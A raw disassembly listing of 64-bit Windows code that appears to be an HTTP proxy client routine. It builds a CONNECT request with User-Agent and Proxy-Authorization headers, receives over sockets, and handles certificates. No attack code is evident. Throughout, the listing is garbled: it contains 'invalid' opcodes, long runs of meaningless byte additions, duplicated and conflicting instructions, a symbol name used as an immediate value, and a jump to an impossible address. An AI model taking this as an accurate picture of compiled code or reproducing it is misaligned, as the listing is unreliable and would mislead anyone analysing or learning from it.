call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x3f0], rdi
mov qword [rsp + 0x3f8], r15
mov qword [rsp + 0x400], r12
mov r13, qword [rsi + 0x280]
test r13, r13
je 0x1400fe01b
mov r15, qword [rsi + 0x288]
test r15, r15
je 0x1400fe131
js 0x14010013a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400fdff5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400fe00c
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
test rax, rax
jne 0x1400fe137
mov ecx, 1
mov rdx, r15
call fcn.14015d7f0
ud2
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
invalid
jae 0x1400fe039
add byte [rax - 0x7b], cl
leave
je 0x1400ff106
mov r13, qword [rsp + 0x38]
jmp 0x1400ff124
mov qword [rsi + 0x280], 0
xor eax, eax
test rax, rax
mov eax, 0x1bb
cmovne eax, ecx
mov word [rsi + 0x2d0], ax
mov rdi, qword [rsi + 0x148]
mov esi, 0x148
lock inc qword [rdi]
jle 0x1400ff3e0
mov qword [rsp + 0x38], r13
mov r15, qword [rsi + 0x150]
mov r12, qword [rsi + 0x158]
lock inc qword [r15]
jle 0x1400ff3e0
mov r12d, 1
lea rax, [rsi + 0x2d8]
mov qword [rsp + 0x30], rax
mov rcx, r12
mov rdx, r13
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
movzx edi, word [rsi + 0x2d0]
mov r14b, 2
cmp byte [rsi + 0x190], 2
je 0x1400fe1ce
lea rdx, [rsi + 0x188]
mov rax, qword [rsi + 0x170]
mov r8, qword [rsi + 0x178]
mov r9, qword [rsi + 0x180]
lea rcx, [rsp + 0x1d0]
call qword [rax]
movzx r14d, byte [rsi + 0x190]
movups xmm0, xmmword [rsp + 0x1d0]
movups xmm1, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0xa40], xmm0
movaps xmmword [rsp + 0xa50], xmm1
mov eax, dword [rsp + 0x1f1]
mov dword [rsp + 0x1338], eax
mov eax, dword [rsp + 0x1f4]
mov dword [rsp + 0x133b], eax
mov byte [rsi + 0x2d4], 0
lea r13, [rsp + 0xd90]
lea rdx, [rsp + 0x3f0]
mov r8d, 0x128
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0xa40]
movaps xmm1, xmmword [rsp + 0xa50]
movups xmmword [rsp + 0xeb8], xmm0
movups xmmword [rsp + 0xec8], xmm1
mov eax, dword [rsp + 0x1338]
mov ecx, dword [rsp + 0x133b]
mov dword [rsp + 0x910], eax
mov dword [rsp + 0x913], ecx
lea rbp, [rsp + 0x6c0]
mov r8d, 0x148
mov rcx, rbp
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x148
mov r13, qword [rsp + 0x30]
mov rcx, r13
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rdx, r13
mov byte [rsi + 0x420], r14b
mov eax, dword [rsp + 0x910]
mov ecx, dword [rsp + 0x913]
mov dword [rsi + 0x421], eax
mov dword [rsi + 0x424], ecx
mov rax, qword [rsi + 0x270]
mov qword [rsi + 0x448], rax
movups xmm0, xmmword [rsi + 0x250]
movups xmm1, xmmword [rsi + 0x260]
movups xmmword [rsi + 0x438], xmm1
movups xmmword [rsi + 0x428], xmm0
mov qword [rsi + 0x450], r12
mov qword [rsi + 0x458], r15
mov qword [rsi + 0x460], r15
mov word [rsi + 0x610], di
lea r14, [rsi + 0x614]
mov byte [rsi + 0x614], 0
mov r13, qword [rsp + 0x38]
mov byte [rsi + 0x617], 1
lea r15, [rsi + 0x468]
mov r8d, 0x128
mov rcx, r15
mov qword [rsp + 0x30], rdx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + 0x590]
movups xmm0, xmmword [rsi + 0x450]
movups xmmword [rsi + 0x590], xmm0
mov rcx, qword [rsi + 0x460]
mov qword [rsi + 0x5a0], rcx
lea rcx, [rsi + 0x612]
mov word [rsi + 0x612], di
movups xmm0, xmmword [rsi + 0x400]
add byte [rdi], cl
adc byte [rsi + 0x410], cl
add byte [rdi], cl
adc byte [rsi + 0x410], cl
movups xmmword [rsi + 0x5a8], xmm0
movups xmmword [rsi + 0x5b8], xmm1
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsi + 0x420]
mov qword [rsi + 0x5c8], rdx
mov word [rsi + 0x615], 0x101
add dword [rdi], ecx
adc byte [rsi + 0x428], al
sub byte [rax + rax], al
invalid
add dword [rdi], ecx
adc byte [rsi + 0x428], al
sub byte [rax + rax], al
invalid
sub byte [rax + rax], al
add byte [rdi], cl
adc dword [rsi + 0x5d0], eax
movups xmmword [rsi + 0x5d0], xmm0
movups xmm0, xmmword [rsi + 0x438]
movups xmmword [rsi + 0x5e0], xmm0
mov rdx, qword [rsi + 0x448]
mov qword [rsi + 0x5f0], rdx
mov qword [rsp + 0x1338], rax
lea rax, [0x140005df0]
mov qword [rsp + 0x1340], rax
mov qword [rsp + 0x1348], rcx
lea rax, [0x14005c310]
mov qword [rsp + 0x1350], rax
mov qword [rsp + 0x1d0], 2
mov qword [rsp + 0x1e0], 2
mov qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 0x20
mov byte [rsp + 0x200], 3
mov qword [rsp + 0x208], 2
mov qword [rsp + 0x218], 2
mov qword [rsp + 0x228], 1
mov qword [rsp + 0x230], 0x20
mov byte [rsp + 0x238], 3
mov qword [rsp + 0x240], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x250], 2
mov qword [rsp + 0x260], 0
mov qword [rsp + 0x268], 0x20
mov byte [rsp + 0x270], 3
mov qword [rsp + 0x278], 2
mov qword [rsp + 0x288], 2
mov qword [rsp + 0x298], 1
mov qword [rsp + 0x2a0], 0x20
mov byte [rsp + 0x2a8], 3
lea rax, str.CONNECT__HTTP_1.1_r_nHost:
mov qword [rsp + 0xa40], rax
mov qword [rsp + 0xa48], 5
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0xa60], rax
mov qword [rsp + 0xa68], 4
lea rax, [rsp + 0x1338]
mov qword [rsp + 0xa50], rax
mov qword [rsp + 0xa58], 2
lea rcx, [rsp + 0xc60]
lea rdx, [rsp + 0xa40]
call fcn.140014120
mov rax, qword [rsp + 0xc70]
mov qword [rsi + 0x608], rax
movups xmm0, xmmword [rsp + 0xc60]
movups xmmword [rsi + 0x5f8], xmm0
cmp byte [rsi + 0x5c8], 2
je 0x1400fe638
lea rax, [rsi + 0x5a8]
mov byte [rsi + 0x616], 0
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x1f0], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x1e0], xmm1
movaps xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsi + 0x600]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov rdi, r13
cmp rax, 0xb
or ecx, dword [rdi]
xchg byte [rdx], ah
sbb al, byte [rax]
invalid
or ecx, dword [rdi]
xchg byte [rdx], ah
sbb al, byte [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsi + 0x5f8]
invalid
invalid
push rbp
jae case.0x1400693d1.2074
mov rax, qword [rsi + 0x5f8]
mov eax, dword [rsi + 0x5f8]
movabs rcx, 0x6567412d72657355
mov qword [rax + r12], rcx
jb 0x1400fe5b5
mov qword gs:[eax + r12d], rcx
mov qword gs:[eax + r12d], rcx
mov dword [rax + r12 + 8], 0x203a746e
add r12, 0xc
mov qword [rsi + 0x608], r12
mov rbp, qword [rsp + 0x1d8]
mov r13, qword [rsp + 0x1e0]
mov rax, qword [rsi + 0x600]
sub rax, r12
sub eax, esp
xchg byte [rax], al
invalid
cmp rax, r13
jb case.0x1400ea9e6.77
mov rcx, qword [rsi + 0x5f8]
add rcx, r12
loope 0x1400fe619
mov edx, ebp
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x600]
xchg byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rbp - 0x20], cl
add byte [rcx + rbp - 0x20], cl
cmp rax, 1
jbe 0x1400fffdb
mov r13, rdi
mov rax, qword [rsi + 0x5f8]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x1e8]
lea ecx, [rsp + 0x1e8]
lea ecx, [rsp + 0x1e8]
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
call qword [rax + reloc.WS2_32.dll_recv]
cmp byte [rsi + 0x5f0], 2
je 0x1400fe756
lea rax, [rsi + 0x5d0]
mov byte [rsi + 0x615], 0
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x1f0], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x1e0], xmm1
movaps xmmword [rsp + 0x1d0], xmm0
mov rax, qword [rsi + 0x600]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov rdi, r13
cmp rax, 0x14
jbe 0x1400ffffc
mov rax, qword [rsi + 0x5f8]
movups xmm0, xmmword [str.Proxy_Authorization:]
movups xmmword [rax + r12], xmm0
movabs rcx, 0x203a6e6f6974617a
mov qword [rax + r12 + 0xd], rcx
add r12, 0x15
mov qword [rsi + 0x608], r12
mov rbp, qword [rsp + 0x1d8]
mov r13, qword [rsp + 0x1e0]
mov rax, qword [rsi + 0x600]
sub rax, r12
cmp rax, r13
jb 0x14010001d
mov rcx, qword [rsi + 0x5f8]
add rcx, r12
mov rdx, rbp
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x600]
sub rax, r12
cmp rax, 1
jbe 0x14010003b
mov r13, rdi
mov rax, qword [rsi + 0x5f8]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x1e8]
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsi + 0x600]
mov rdx, qword [rsi + 0x608]
sub rax, rdx
mov rbp, r13
cmp rax, 1
jbe 0x1400fff7e
mov rax, qword [rsi + 0x5f8]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [rsi + 0x608], rdx
mov rax, qword [rsi + 0x5f8]
mov qword [rsi + 0x618], r15
mov qword [rsi + 0x620], rax
mov qword [rsi + 0x628], rdx
lea r12, [rsi + 0x618]
lea r15, [rsp + 0x1d0]
lea r13, [0x140204680]
movabs rdi, 0x1700000003
nop dword [rax + rax]
test rdx, rdx
je 0x1400fe8c0
mov rax, qword [rsi + 0x618]
mov r9, qword [rsi + 0x620]
cmp dword [rax], 2
jne 0x1400fe820
xor r15d, r15d
mov r8d, 0x2008
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r13, rbp
jmp fcn.140100141
mov r8, qword [rsi + 0x5f8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsi + 0x5f0], 2
je 0x1400fe971
mov eax, dword [rsi + 0x590]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp byte [rsi + 0x617], 0
je 0x1400fe9fc
cmp dword [rsi + 0x468], 2
jne 0x1400fe9f0
lea rcx, [rsi + 0x470]
add byte [rax], al
call fcn.140100e40
jmp 0x1400fe9fc
lea rcx, [rsi + 0x468]
call fcn.140101330
mov byte [rsi + 0x617], 0
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0xd90]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x614], 1
cmp rdi, 4
invalid
add al, 0x75
invalid
inc dword [rsi*2 + 0x45c6410c]
adc dword [rbx], eax
mov byte [r13 + 0x11], 3
mov al, 4
jmp 0x1400ffead
lea rcx, [rsp + 0x1a90]
lea rdx, [rsp + 0x3f0]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x30]
call fcn.140100960
cmp rdi, 3
je 0x1400ff1da
lea rcx, [rsp + 0x1490]
lea ecx, [rsp + 0x1490]
lea rdx, [rsp + 0x1a90]
mov r8d, 0x110
mov eax, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x2d3], 1
add dword [rax - 0x77], ecx
mov esp, 0x147824
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x80
adc al, 0
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x88
adc al, 0
add byte [rax - 0x75], cl
mov esi, 0x278
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x88
adc al, 0
add byte [rax - 0x75], cl
mov esi, 0x278
cmp qword [rdi], 0
je 0x1400feac2
mov rcx, qword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov r14d, 1
jmp 0x1400feac5
xor r14d, r14d
mov rcx, qword [rdi + 0x10]
adc r15b, r15b
adc eax, 0x69a01
adc r15b, r15b
adc eax, 0x69a01
movzx ecx, word [rdi + 0x1c]
mov edx, dword [rdi + 0x18]
mov qword [rsi + 0x9c0], r14
mov dword [rsi + 0x9c0], esi
mov dword [rsi + 0x9c0], esi
mov qword [rsi + 0x9c8], r15
mov qword [rsi + 0x9d0], rax
ror byte [rcx], 1
add byte [rax], al
mov dword [rsi + 0x9d8], edx
mov word [rsi + 0x9dc], cx
add byte [rbx + rcx*4 - 0x4a], cl
add byte [rdx], 0
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
test byte [rdi + 5], ch
add byte [rax], al
lea r15, [rsi + 0x9c0]
mov rdi, qword [rsi + 0x288]
mov byte [rsi + 0x2d3], 0
xchg bl, dl
add al, byte [rax]
add byte [rax], al
xchg bl, dl
add al, byte [rax]
add byte [rax], al
lea rdx, [rsp + 0x1478]
mov r8d, 0x128
mov rcx, qword [rsp + 0x30]
call sub.VCRUNTIME140.dll_memmove
lea rbp, [rsi + 0x2d8]
mov qword [rsi + 0x400], r15
mov qword [rsi + 0x408], r14
mov qword [rsi + 0x410], rdi
lea rcx, [rsi + 0x418]
lea rdx, [rsp + 0xd90]
mov r8d, 0x5a0
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rsi + 0x9b8]
mov byte [rsi + 0x9b8], 0
xchg byte [rax + 9], bh
movq xmm0, r14
mov rdx, rbp
movq xmm6, r15
punpcklqdq xmm6, xmm0
lea rcx, [rsi + 0x418]
mov r8d, 0x128
sub byte [rcx], al
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x60], rdx
call sub.VCRUNTIME140.dll_memcpy
movdqu xmmword [rsi + 0x540], xmm6
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x550], rdi
lea rax, [rsi + 0x788]
mov qword [rsp + 0x58], rax
mov byte [rsi + 0x788], 0
lea rdx, [rsi + 0x418]
mov byte [rsi + 0x789], 0
mov rax, qword [rsi + 0x550]
mov qword [rsp + 0x7f8], rax
movups xmm0, xmmword [rsi + 0x540]
movups xmmword [rsp + 0x7e8], xmm0
lea r14, [rsp + 0x6c0]
mov r8d, 0x128
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add eax, 0xbc8d4c00
and al, 0x38
adc eax, dword [rax]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
add eax, 0xbc8d4c00
and al, 0x38
adc eax, dword [rax]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rcx + rcx*4 - 7], cl
mov rdx, r14
mov edx, esi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + 0x790]
mov r8d, 0x140
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x30], r12
mov rdi, qword [rsi + 0x790]
mov r14, qword [rsi + 0x8b8]
mov rax, qword [rsi + 0x8c0]
mov rbp, qword [rsi + 0x8c8]
mov qword [rsi + 0x790], 3
cmp rdi, 3
je 0x14010009f
mov qword [rsp + 0x48], rax
lea rdx, [rsi + 0x798]
lea rcx, [rsp + 0x918]
mov r8d, 0x120
mov qword [rsp + 0x128], rdx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x910], rdi
mov qword [rsp + 0xa38], rbx
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xc0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
movzx eax, byte [r14 + 0x1c]
movzx edx, byte [r14 + 0x1d]
lea ecx, [rdx + 1]
cmp dl, 4
movzx ecx, cl
mov r8d, 4
cmovae ecx, r8d
cmp dl, 5
cmove ecx, r8d
movzx r12d, cl
cmp al, 5
mov qword [rsp + 0x38], r13
jne 0x1400fed09
movzx eax, byte [0x1402153f8]
mov ecx, recv
mov edx, 1
call fcn.140013830
test rax, rax
je 0x140100129
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x1402153f8]
mov ecx, 0x18
mov edx, 8
call fcn.140013830
test rax, rax
je 0x140100609
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
mov r13, qword [rsp + 0x38]
je 0x140100129
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140100129
mov rbx, rax
movabs rax, 0x6c7275206e692074
mov qword [rbx + 6], rax
movabs rax, 0x2074736f68206f6e
mov qword [rbx], rax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400ff185
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140100609
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140100609
mov r15, rax
mov qword [rax], rbx
mov qword [rax + 8], recv
mov qword [rax + 0x10], recv
cmp edi, 2
jne 0x1400ff1c6
lea rcx, [rsp + 0x3f8]
call fcn.140100e40
jmp 0x1400ff1d3
lea rcx, [rsp + 0x3f0]
call fcn.140101330
lea r12, fcn.140022090
mov bpl, 2
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1400ffcf7
jmp 0x1400ffcaa
ud2
cmp edi, 2
je 0x1400ff663
lea rdx, [rsp + 0x6d8]
lea rcx, [rsp + 0x3f0]
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1d0]
lea rdx, [rsp + 0x3f0]
lock add eax, dword [rax]
add bl, ch
invalid
lock add eax, dword [rax]
add bl, ch
and byte [rax - 0x75], cl
mov esp, 0x6c824
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xd0
invalid
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x68]
call fcn.140103920
mov r8, qword [rsp + 0xd8]
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x1400ff6d1
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rbx + 0x48], 0x83
mov esp, 0xe024
add byte [rax], al
cmp qword [rsp + 0xe0], 0
je 0x1400ff6d1
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x1400ff6f8
cmp qword [rsp + 0xf8], 0
cmp dword [rsp + 0xf8], 0
je 0x1400ff6f8
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx], dh
sar bh, cl
adc eax, 0x68930
mov r14, qword [rsp + 0xc0]
mov r13, qword [rsp + 0xd0]
test r13, r13
je case.0x1400ea9e6.75
xor ebp, ebp
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word cs:[rax + rax]
mov rcx, qword [r14 + rbp*8]
inc rbp
call r12
cmp r13, rbp
jne 0x1400ff720
cmp qword [rsp + 0xc8], 0
je 0x1400ff74c
lea r14, [rsi + 0x790]
mov byte [rsi + 0x789], 1
mov qword [rsi + 0x558], rax
mov qword [rsi + 0x560], rdi
mov qword [rsi + 0x568], r12
lea r15, [rsi + 0x570]
lea rdx, [rsp + 0x3f0]
mov r8d, 0x128
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x698], 0
lea r12, [rsi + 0x6a0]
lea rdx, [rsp + 0x1d0]
mov r8d, 0xe8
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x790]
cmp rax, 3
je 0x1400ff818
cmp eax, 2
jne 0x1400ff8f9
mov rax, qword [rsi + 0x558]
test rax, rax
je 0x1400ff911
pop rax
add eax, 0x85480000
ror byte [rdi], 0x84
jmp 0x1880ff829
cmp eax, 1
jne 0x1400ff95c
mov r8d, 0x228
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsi + 0x790]
mov qword [rsi + 0x790], 2
cmp rdi, 2
je 0x1401000d3
lea rdx, [rsi + 0x798]
lea r14, [rsi + 0x8d0]
lea rcx, [rsp + 0x3f8]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x530]
mov r8d, 0xe8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x3f0], rdi
mov qword [rsp + 0x528], rbx
lea rcx, [rsp + 0x6c0]
lea rdx, [rsp + 0x3f0]
call fcn.1401037c0
cmp qword [rsp + 0x6c0], 0
je 0x1400ff96e
mov rdi, qword [rsp + 0x6c8]
mov rbp, qword [rsp + 0x6d0]
cmp rdi, 2
jne 0x1400ffe1e
mov rdi, rbp
mov ebp, 2
jmp 0x1400ff9f0
mov r12, qword [rsp + 0x30]
mov rdi, qword [rdx]
mov ebp, 2
jmp 0x1400ffa3d
mov rbp, qword [rsp + 0x6c8]
mov rdi, qword [rsp + 0x6d0]
lea rdx, [rsp + 0x6d8]
lea rbx, [rsp + 0x1d0]
mov r8d, 0x218
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rsp + 0xa40]
mov r8d, 0x218
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0xc60]
mov r8d, 0x128
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0xb70]
lea rcx, [rsp + 0x910]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp rbp, 3
je case.0x1400e7c4b.124
lea rbx, [rsi + 0x790]
lea rcx, [rsp + 0x1688]
lea rdx, [rsp + 0xc60]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x15a0]
lea rdx, [rsp + 0x910]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rbx], 2
je 0x1400ffa3a
mov rcx, rbx
call fcn.1401014b0
xor r15d, r15d
mov byte [rsi + 0x789], 0
lea rcx, [rsp + 0x1cc8]
lea rdx, [rsp + 0x1688]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x1898]
lea rdx, [rsp + 0x15a0]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x788], 1
cmp rbp, 3
je 0x1400ffea1
lea rbx, [rsp + 0x1ed8]
lea rdx, [rsp + 0x1cc8]
mov r8d, 0x128
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rsp + 0x1df0]
lea rdx, [rsp + 0x1898]
mov r8d, 0xe8
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12], 1
lea rcx, [rsp + 0x1ba0]
mov r8d, 0x128
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x17b0]
mov r8d, 0xe8
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x60]
call fcn.140100b10
cmp rbp, 2
jne 0x1400ffb6e
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400ffb34
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401005f8
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1401005f8
mov r15, rax
mov qword [rax], rdi
lea r12, [0x1401d2e68]
mov bpl, 2
cmp qword [rsi + 0x9c0], 0
jne 0x1400ffc5a
jmp 0x1400ffc67
mov rbx, r15
lea rcx, [rsp + 0x6c0]
lea rdx, [rsp + 0x1ba0]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x3f0]
lea rdx, [rsp + 0x17b0]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400ffbd3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140100118
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x228
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140100118
mov r15, rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x6c0]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15 + 0x138], rbx
mov rcx, r15
add rcx, 0x140
lea rdx, [rsp + 0x3f0]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0xd90]
mov dword [rsp + 0x40], eax
movzx eax, word [rsp + 0xd94]
mov word [rsp + 0x44], ax
lea r12, case.0x1400e91e9.114
xor ebp, ebp
cmp qword [rsi + 0x9c0], 0
je 0x1400ffc67
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d3], 0
je 0x1400ffce3
cmp dword [rsp + 0x1478], 2
jne 0x1400ffcd6
lea rcx, [rsp + 0x1480]
call fcn.140100e40
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1400ffcf7
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne 0x1400ffd10
lea rcx, [rsp + 0x1478]
call fcn.140101330
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400ffcaa
mov rcx, qword [rsi + 0x2b0]
call fcn.1400a6150
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
je 0x1400ffcb7
mov byte [rsi + 0x2d5], 0
mov qword [r13], r15
mov qword [r13 + 8], r12
mov byte [r13 + 0x10], dil
mov byte [r13 + 0x11], bpl
mov eax, dword [rsp + 0x40]
mov dword [r13 + 0x12], eax
movzx eax, word [rsp + 0x44]
mov word [r13 + 0x16], ax
mov al, 1
jmp 0x1400ffead
lea rdx, [rsp + 0x6d8]
lea rbx, [rsp + 0x1d0]
mov r8d, 0x218
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r15, [rsp + 0xa40]
mov r8d, 0x218
mov rcx, r15
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + 0x7a0]
invalid
add byte [rax], al
mov r8d, 0x128
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0xb70]
mov r8d, 0xe8
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x790], rdi
mov qword [rsi + 0x798], rbp
mov qword [rsi + 0x8c8], 0
mov rax, qword [rsp + 0x58]
mov byte [rax], 4
mov byte [r12], 3
mov byte [r13 + 0x11], 3
mov al, 5
mov byte [rsi + 0x2d2], al
movaps xmm6, xmmword [rsp + 0x2000]
add rsp, 0x2018
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ah, 0x24
rol byte [rsi], 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x40
or al, byte [rax]
add byte [rcx - 0x48], al
sbb byte [rdx], al
add byte [rax], al
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x3f0]
mov r8d, 0x128
mov rdx, r14
bnd call sub.VCRUNTIME140.dll_memcpy
bnd call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x7f0]
lea rcx, [rsp + 0x1d0]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
jmp 0x1400ff78d
xchg esp, eax
and al, 0xf0
invalid
lea r14, [rsp + 0x6c0]
lea rdx, [rsp + 0xa40]
mov r8d, 0x218
mov rcx, r14
int1
int1
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x3f0]
